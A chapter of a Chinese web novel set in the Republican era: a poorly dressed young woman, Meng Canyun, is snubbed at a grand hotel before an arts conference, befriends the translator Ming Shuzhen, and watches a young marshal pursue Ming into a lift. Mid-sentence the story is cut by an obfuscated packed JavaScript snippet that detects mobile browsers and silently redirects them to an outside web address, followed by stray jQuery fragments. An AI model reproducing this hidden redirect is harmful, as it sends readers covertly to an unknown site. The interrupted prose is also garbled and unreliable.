今日华茂大饭店热闹非凡，不仅有老人做寿、新人结婚，还有文艺保护促进会在这里举行第七次会议。各界名流络绎不绝，车辆、记者将大门口围得水泄不通。


    “……你们新新报馆今日接的是哪家通讯？”


    “自然是文艺会议呀！”


    “奇怪，问了几位同仁，都是来报道它的。难道陈老爷的寿辰、许先生的婚宴就不足为道吗？”


    “你难道不曾听闻，今日那会议上将有一位神秘人物出现吗？”


    “怎样的神秘人物？”


    “比之陈老爷、许先生，更能刺激报纸销量的神秘人物！”


    “没错！我们主编也透露，这位神秘人物的新闻比之上海红蝴蝶的八卦丝毫不逊！若报道出来，今日报纸必遭脱销！”


    ……


    孟灿云穿过人潮，颇费了些力气才来到饭店正门。她找到服务生，递上邀请函，“你好，我来参加文艺保护会议。”


    服务生看完邀请函，上下打量她一眼，满脸不屑地努嘴，“在后门！”


    她疑惑道：“大门不能进去吗？”


    “你不能！”


    她刚要问为什么，一对体形富态的中年夫妇走上前，将她挤至一旁。


    “陈老爷今年怎么选在这里办寿？一路上碰见好多穷鬼！”胖太太抱怨道，襟口的巨型钻石闪闪发光。


    “大抵是这里人气旺，图个热闹罢！”胖先生拿下烟斗，粗肥的手指箍了三枚大截面宝石金戒指。


    “蹩十都混进来，我们的财产安全怎么保证嘛！”


    “我们快些进去，穷佬不就碍不着你的眼么！”


    两人什么也未出示，径直走进饭店。服务生不仅不阻拦，反而笑脸相迎为他们拉开玻璃大门。


    陆续有宾客无凭证进入。


    不是西装革履锦绸长襦的男人，就是打扮时髦珠光宝气的女人。各个衣着考究，气派非凡。


    唯独她一个人，灰扑扑的麻纹旗袍，显得又土又穷。


    “让一让的啦！别挡路的啦！”又走来一个身材细长的贵妇，浓妆媚眼剜她一下，“怎的华茂饭店门口也还有白赖食跟着？”


    贵妇把她当成蹭流水席的叫花子。


    以貌取人亦或是狗眼看人低，古往今来一贯如是。何况身在贫穷即是原罪的时代，憎恶贫穷也是情理之中。


    在受到服务生又一记白眼后，孟灿云默默转身，很自觉地去找后门。


    后门是供饭店职工及货物进出的，顾客走后门会被视为有失身份，乃至有些受辱的意味。故衣着朴素的顾客一般被拦住后，宁可不进饭店，也不会走后门。


    不过孟灿云完全没有这种想法。看着冷清、矮小的后门，她反倒庆幸自己免去了拥挤的荼毒。


    正要进去，旁边忽然响起一道清亮的声音——


    “你也不介意走后门吗？”


    五步开外，一个打扮时髦的女孩正笑盈盈地看着她，“走后门会被人瞧不起哦！”她好心提醒。


    女孩一身碎花连衣裙，淡黄色的公主帽下面露出一张圆圆的脸袋。她笑起时脸颊有两枚浅浅的酒窝，弯弯的眉眼与披肩上的银月牙图案遥遥相对，甜美可爱。


    孟灿云见她没有敌意，朝她微笑道：“前门或者后门，不过是进饭店的手段，本质上没有任何区别。我只要能进去，别人怎样评说不重要。”


    女孩有些吃惊：“你居然有这样的领悟。要知道，华茂饭店建成至今，还没有一个女子愿意走后门，她们都害怕成为沙城的笑话。”


    “她们大概都是有身份的人。我籍籍无名，闹出笑话也无人知晓。用一句话来形容，就是光脚的不怕穿鞋的。”


    “你说话可真有意思！”女孩捂嘴笑道，“可是你既然籍籍无名，又怎么会来华茂饭店这种高档次的地方呢？”


    孟灿云犹豫一瞬，还是告诉她：“我是来参加一个会议——”


    “文艺保护促进会对不对？”女孩接过话，显得很兴奋，“我同你一样，我也是来赴会的。”


    两人交谈起来。


    女孩名叫明淑珍，是一名学生，去年从培柔女子中学毕业后去了日本留学，这次回国是为了给她的老师做翻译。


    “你应该听说过小吉先生吧，他在国际文艺界久负盛名，对华国文艺尤其偏爱。之前他多次来华，为两国文化传播做过不少贡献。北方政府还称他为‘华日文化大使’。”


    听完明淑珍的介绍，孟灿云暗自吃惊。


    没有想到，眼前这个女孩竟是小吉三郎的学生。


    更没有想到，堂堂文化盗贼，居然在当世享有“文化大使”的美誉，令即便受过高等教育的大学生也遭到蒙蔽。


    被卖了还帮忙数钱，实在可悲可恨。


    孟灿云掩下波动的情绪，试探问道：“小吉先生这次来华国，只是为了参加这一个会议吗？”


    “我们还想探访鸣沙窟……”说到这里，明淑珍的表情陡然黯淡下来，反而向她问道，“孟小姐，你刚才说自己在鸣沙窟工作，那么你应该认识他了？”


    孟灿云狐疑看她，“您说谁？”


    明淑珍垂下视线，鞋尖无聊地拨着地面，却不开口。


    “看！在那儿！”不知哪里冲来一个端相机的记者，将两人吓得一跳。


    “不好！”


    明淑珍最先反应过来，拉着孟灿云冲进饭店，回身关门，死死上了锁。


    “他们是冲你来的？”孟灿云看出端倪。


    明淑珍以背抵门，苦笑道：“沙城什么都好，就是圈子小，记者多。”她顿了顿，有些失神，“希望我这次回来，不要给他造成困扰……”


    孟灿云见她情绪陡然低落，莫名联想到大门口那些记者的对话。直觉给她描摹出一个身影，在即将要猜到对方身份时，明淑珍又抬起目光，冲她笑道：“走吧！我们快进去里面看看！”


    华茂大饭店内部装潢华丽，淡青色的地砖清亮如水面，白石膏和木板拼成的墙面气派活泼，往上是印有花纹的石膏吊顶，下面坠着各种艺术风格的灯饰，整个一楼大厅金碧辉煌，繁复璀璨，奢华自不必说。


    “真漂亮！我头一次见这么漂亮的饭店！”明淑珍开心地打量，一扫刚才的阴霾。


    “用色这么大胆，设计这么简约，很有些ArtDeco风格呢！”


    “看这尊佛头，是玻璃还是水晶？国内的雕花工艺已经这样好！”


    “这种花纹的木料我只在日本的清水寺见过，据说是神兰木，三十年才长成，非常昂贵。”


    ……


    明淑珍很懂得鉴赏，不停向孟灿云介绍。


    两人行至大堂前台签到，当被告知小吉三郎还没有来时，明淑珍的表情变得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003815|161888||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    凝重起来。


    她看了看手表，不由皱眉，“小吉先生很守时，不应该这样迟的。”


    “今天交通不畅，或许堵在路上。”孟灿云安慰。


    明淑珍点点头，“今天的会议兴许会碰见我以前的□□，不知他到了没有，我们先上去看看吧。”


    饭店共七层，会议地址在四楼，需要乘坐电梯上去。


    民国电梯颇有特色，电梯门是手拉式，轿厢是暗色调的木料制造。外面的光线射进电梯内部，昏暗斑驳的影子营造出浓浓的复古味道，于静谧空间引人幽思。


    孟灿云紧随明淑珍走进轿厢，下意识要去按电梯按钮，冷不防被人拦住。


    “你不准上！”管电梯的是一个头发蓬乱的青年，他瞥了孟灿云一眼，毫不客气道，“爬楼梯去！”


    孟灿云微怔，没有料到会在乘电梯时再遭一次鄙弃。


    “我怎么就不能乘电梯呢？”


    “这是专供老爷太太们使用的！不便穷人！”青年早就发现孟灿云与众不同的“寒碜”，加之她刚才对电梯的打量，便认定她是今日贵客里的一位没见识的穷亲戚，因此很不客气。


    “你好没礼貌！刚才我还赞叹你们饭店比之国外的审美与素养，结果到你这里全变成文明的倒退，太令人失望了。”明淑珍为孟灿云打抱不平。


    青年因明淑珍的穿戴，反而对她恭敬有加：“小姐，她不能搭乘，您却是可以的。”


    明淑珍瞪大眼睛：“难道你要我抛弃我的朋友，独自乘电梯吗？”


    “抱歉小姐，这是本店的规定，请您见谅。”


    “那么索性都不坐了。一会儿我还要去向记者爆料，华茂饭店拒绝顾客乘坐电梯，叫你们的公债跌一跌才好。”


    青年脸色终于变了变，慌忙道：“请您不要这样！这会令我失业！”


    “那么你便答应我的朋友一起乘电梯。”


    “可是……”


    听着两人的对话，孟灿云又气又笑，最终还是摇摇头，劝住明淑珍：“没关系，我去爬楼梯，就算是锻炼身体。”


    “那我陪你一起——”


    明淑珍跟着她刚走两步，忽然又转身，慌忙钻进电梯。


    同一时间，一群人正从大门口走进来，熙熙攘攘的热闹中，听见有人喊——


    “款款！”


    孟灿云循声望去，最先看到的却是军装挺括的索靖山。索靖山今日一身整齐军装，像是才从驻地回来，皮靴上沾了土星沫，有些风尘仆仆的痕迹。他被陈泰予父子簇拥着走在最前面，身后跟着程硕，旁边还站着一个梳着中分头的陌生男人。


    索靖山也看见了她，但目光只在她身上停留一瞬，便朝她身后望去。


    昏暗的轿厢里面，正是想要逃跑的明淑珍。


    “四楼，快！”明淑珍声音发颤，恳求青年摁下电梯。


    可惜还是晚了一步。索靖山快步走过来，制止了即将关闭的铁门，也走进轿厢。


    “爹，你看看。少帅不是来给你祝寿，根本是为了围堵他的情人。”


    “别乱说！”


    “我哪里乱说？不信您问问小吉先生，他为什么非要选明小姐做这次会议的翻译呢？”


    “你小子住嘴！”


    ……


    孟灿云听着陈泰予父子的对话，目送电梯上升，离她越来越远。